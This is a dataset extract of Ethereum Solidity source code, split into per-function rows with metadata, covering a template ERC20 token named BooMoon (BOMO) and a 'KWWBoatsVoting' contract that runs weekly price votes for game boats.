// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | function () public payable {
revert();
}
| // ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
4978,
5037
]
} | 604 |
|
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BOMO";
name = "BooMoon";
decimals = 8;
_totalSupply = 500000000000;
balances[0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52] = _totalSupply;
emit Transfer(address(0), 0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transferAnyERC20Token | function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
| // ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
5270,
5459
]
} | 605 |
KWWBoatsVoting | contracts/KWWBoatsVoting.sol | 0x8c41343b12c6dabbeab4773c462e916c62016b7c | Solidity | KWWBoatsVoting | contract KWWBoatsVoting is IBoatsVoting, Ownable {
address gameManager;
int8 public voteDay1 = 2;
int8 public voteDay2 = 3;
uint8 public durationHours = 24;
uint8 public daysBetweenVotes = 7;
//tokenId => BoatData
mapping(uint16 => BoatData) public boatsDetails;
//boatState => State Vote data
mapping(uint8 => TypeVote) public votes;
/*
EXECUTABLE FUNCTIONS
*/
function setBoatDetails(uint16 idx, BoatData memory data) public override onlyGameManager{
boatsDetails[idx] = data;
}
function makeVote1(uint16 tokenId, uint256 vote, uint8 boatState) public override onlyGameManager{
require(getCurrentOnlineVote() == 1, "Vote 1 is not online right now");
require(getLastVoteTime(1) > getVoteTimeByDate(boatsDetails[tokenId].timestampVoted1 ,1), "Already Voted!");
votes[boatState].priceSum += vote;
votes[boatState].voters += 1;
votes[boatState].avg = votes[boatState].priceSum / votes[boatState].voters;
boatsDetails[tokenId].vote1 = vote;
boatsDetails[tokenId].timestampVoted1 = uint48(block.timestamp);
}
function makeVote2(uint16 tokenId, bool vote, uint8 boatState) public onlyGameManager{
require(getCurrentOnlineVote() == 2, "Vote 2 is not online right now");
require(getLastVoteTime(2) > getVoteTimeByDate(boatsDetails[tokenId].timestampVoted2 ,2), "Already Voted!");
votes[boatState].agreeToAvg += (vote ? int16(1) : int16(-1));
boatsDetails[tokenId].vote2 = vote;
boatsDetails[tokenId].timestampVoted2 = uint48(block.timestamp);
}
function updatePrice(uint8 boatState) public onlyGameManager {
require(getCurrentOnlineVote() == 0, "Vote is online");
require(votes[boatState].voters > 0, "No one voted this week");
if(votes[boatState].agreeToAvg > 0){
votes[boatState].finalPrice = votes[boatState].avg;
}
votes[boatState].voters = 0;
votes[boatState].priceSum = 0;
votes[boatState].avg = 0;
votes[boatState].agreeToAvg = 0;
}
function setVoteDetails(uint8 boatState, TypeVote memory vote) public onlyGameManager {
votes[boatState] = vote;
}
function setFinalPrice(uint8 boatState, uint256 finalPrice) public onlyGameManager {
votes[boatState].finalPrice = finalPrice;
}
function setPriceSum(uint8 boatState, uint256 priceSum) public onlyGameManager {
votes[boatState].priceSum = priceSum;
}
function setAvg(uint8 boatState, uint256 avg) public onlyGameManager {
votes[boatState].avg = avg;
}
function setVoters(uint8 boatState, uint16 voters) public onlyGameManager {
votes[boatState].voters = voters;
}
function setAgreeToAvg(uint8 boatState, int16 agreeToAvg) public onlyGameManager {
votes[boatState].agreeToAvg = agreeToAvg;
}
function setVote1(uint16 tokenId, uint256 vote1) public onlyGameManager {
boatsDetails[tokenId].vote1 = vote1;
}
function setVote2(uint16 tokenId, bool vote2) public onlyGameManager {
boatsDetails[tokenId].vote2 = vote2;
}
function setTimestampVoted1(uint16 tokenId, uint48 timestampVoted1) public onlyGameManager {
boatsDetails[tokenId].timestampVoted1 = timestampVoted1;
}
function setTimestampVoted2(uint16 tokenId, uint48 timestampVoted2) public onlyGameManager {
boatsDetails[tokenId].timestampVoted2 = timestampVoted2;
}
/*
GETTERS
*/
function getBoatDetails(uint16 idx) public override view returns(BoatData memory){
return boatsDetails[idx];
}
function getVoteDetails(uint8 boatState) public view returns(TypeVote memory){
return votes[boatState];
}
function getAveragePrice(uint8 boatState) public view returns(uint256){
return votes[boatState].avg;
}
function getPrice(uint8 boatState) public view returns(uint256){
return votes[boatState].finalPrice;
}
function getLastVoteTime(uint8 voteType) public override view returns(int){
return getVoteTimeByDate(block.timestamp, voteType);
}
function getVoteTimeByDate(uint256 timestamp, uint8 voteType) public override view returns (int){
int8 voteDay = voteType == 1 ? voteDay1 : voteDay2;
int8 delta = voteDay - int8(KWWUtils.getWeekday(timestamp));
if(delta > 0) delta = delta - 7;
int date = (int(timestamp) + delta * int64(KWWUtils.DAY_IN_SECONDS));
return date - date % int64(KWWUtils.DAY_IN_SECONDS);
}
function getCurrentVoteEndTime() public view returns(int256) {
uint8 onlineVote = getCurrentOnlineVote();
if(onlineVote == 1){
return getLastVoteTime(1) + int64(durationHours * KWWUtils.HOUR_IN_SECONDS);
}
if(onlineVote == 2){
return getLastVoteTime(2) + int64(durationHours * KWWUtils.HOUR_IN_SECONDS);
}
return 0;
}
function getCurrentOnlineVote() public override view returns (uint8) {
int lastVote1 = getLastVoteTime(1);
int lastVote2 = getLastVoteTime(2);
//Vote1 Time
if(lastVote1 > lastVote2 && lastVote1 + int64(durationHours * KWWUtils.HOUR_IN_SECONDS) > int(block.timestamp)){
return 1;
}
if(lastVote2 + int64(durationHours * KWWUtils.HOUR_IN_SECONDS) > int(block.timestamp)){
return 2;
}
return 0;
}
/*
MODIFIERS
*/
modifier onlyGameManager() {
require(gameManager != address(0), "Game manager not exists");
require(msg.sender == owner() || msg.sender == gameManager, "caller is not the game manager");
_;
}
/*
ONLY OWNER
*/
function setVoteDay1(uint8 newDay) public override onlyOwner {
voteDay1 = int8(newDay);
}
function setVoteDay2(uint8 newDay) public override onlyOwner {
voteDay2 = int8(newDay);
}
function setDurationHours(uint8 newHours) public override onlyOwner {
require(newHours > 0, "Must be more than 0 and less than time between votes");
durationHours = newHours;
}
function setGameManager(address _newAddress) public onlyOwner{
gameManager = _newAddress;
}
} | setBoatDetails | function setBoatDetails(uint16 idx, BoatData memory data) public override onlyGameManager{
boatsDetails[idx] = data;
}
| /*
EXECUTABLE FUNCTIONS
*/ | Comment | v0.8.4+commit.c7e474f2 | MIT | ipfs://8f707f7f8f9ebb3464f53a333bb3a80a6aaf6b2844d348c99cac0a09323e7b4c | {
"func_code_index": [
434,
572
]
} | 606 |
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